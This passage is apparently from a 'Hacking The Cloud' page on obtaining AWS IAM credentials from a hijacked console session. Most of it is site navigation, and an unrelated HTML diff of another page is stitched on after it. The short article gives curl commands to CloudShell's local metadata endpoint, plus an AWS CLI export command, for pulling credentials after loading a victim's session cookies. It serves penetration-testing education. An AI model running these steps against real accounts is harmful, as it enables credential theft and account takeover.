class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5 checked> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=true> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/post_exploitation/get_iam_creds_from_console_session.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=get-iam-credentials-from-a-console-session>Get IAM Credentials from a Console Session<a class=headerlink href=#get-iam-credentials-from-a-console-session title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><aside style=display:flex> <p><a href=https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/ >Retrieving AWS security credentials from the AWS consoletitle</a> by <a href=https://blog.christophetd.fr/ >Christophe Tafani-Dereeper</a></p> <p><a class=glightbox href=/images/researchers/christophe_tafani-dereeper.jpg data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src=/images/researchers/christophe_tafani-dereeper.jpg alt="Christophe Tafani-Dereeper" style=width:44px;height:44px;margin:5px;border-radius:100%;max-width:unset></a></p> </aside></p> </li> </ul> </div> <p>When performing a penetration test or red team assessment, it is not uncommon to gain access to a developer's machine. This presents an opportunity for you to jump into AWS infrastructure via credentials on the system. For a myriad of reasons you may not have access to credentials in the <code>.aws</code> folder, but instead have access to their browser's session cookies (for example via cookies.sqlite in FireFox).</p> <p>Gaining access to the Console is great, but it may not be ideal. You may want to use certain tools that would instead require IAM credentials.</p> <p>To get around this, we can leverage CloudShell. CloudShell exposes IAM credentials via an undocumented endpoint on port 1338. After loading session cookies from the victim into your browser, you can navigate to CloudShell and issue the following commands to get IAM credentials.</p> <div class=highlight><pre><span></span><code>[user@cloudshell]$ TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H &quot;X-aws-ec2-metadata-token-ttl-seconds: 60&quot;)
 
 [user@cloudshell]$ curl localhost:1338/latest/meta-data/container/security-credentials -H &quot;X-aws-ec2-metadata-token: $TOKEN&quot;
 </code></pre></div> <p>Alternatively, you can run the following command, which returns credentials with a short TTL (roughly 15m).</p> <div class=highlight><pre><span></span><code>[user@cloudshell]$ aws configure export-credentials --format env
diff --git a/aws/post_exploitation/iam_persistence/index.html b/aws/post_exploitation/iam_persistence/index.html
index 10e31064b..bc76774b9 100644
--- a/aws/post_exploitation/iam_persistence/index.html
+++ b/aws/post_exploitation/iam_persistence/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="A catalog of methods to maintain access to the AWS control plane."><link href=https://hackingthe.cloud/aws/post_exploitation/iam_persistence/ rel=canonical><link href=../get_iam_creds_from_console_session/ rel=prev><link href=../intercept_ssm_communications/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>AWS IAM Persistence Methods - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="AWS IAM Persistence Methods - Hacking The Cloud"><meta property=og:description content="A catalog of methods to maintain access to the AWS control plane."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/iam_persistence.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/post_exploitation/iam_persistence/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="AWS IAM Persistence Methods - Hacking The Cloud"><meta property=twitter:description content="A catalog of methods to maintain access to the AWS control plane."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/iam_persistence.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="A catalog of methods to maintain access to the AWS control plane."><link href=https://hackingthe.cloud/aws/post_exploitation/iam_persistence/ rel=canonical><link href=../get_iam_creds_from_console_session/ rel=prev><link href=../intercept_ssm_communications/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>AWS IAM Persistence Methods - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="AWS IAM Persistence Methods - Hacking The Cloud"><meta property=og:description content="A catalog of methods to maintain access to the AWS control plane."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/iam_persistence.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/post_exploitation/iam_persistence/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="AWS IAM Persistence Methods - Hacking The Cloud"><meta property=twitter:description content="A catalog of methods to maintain access to the AWS control plane."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/iam_persistence.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#iam-user-access-keys class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 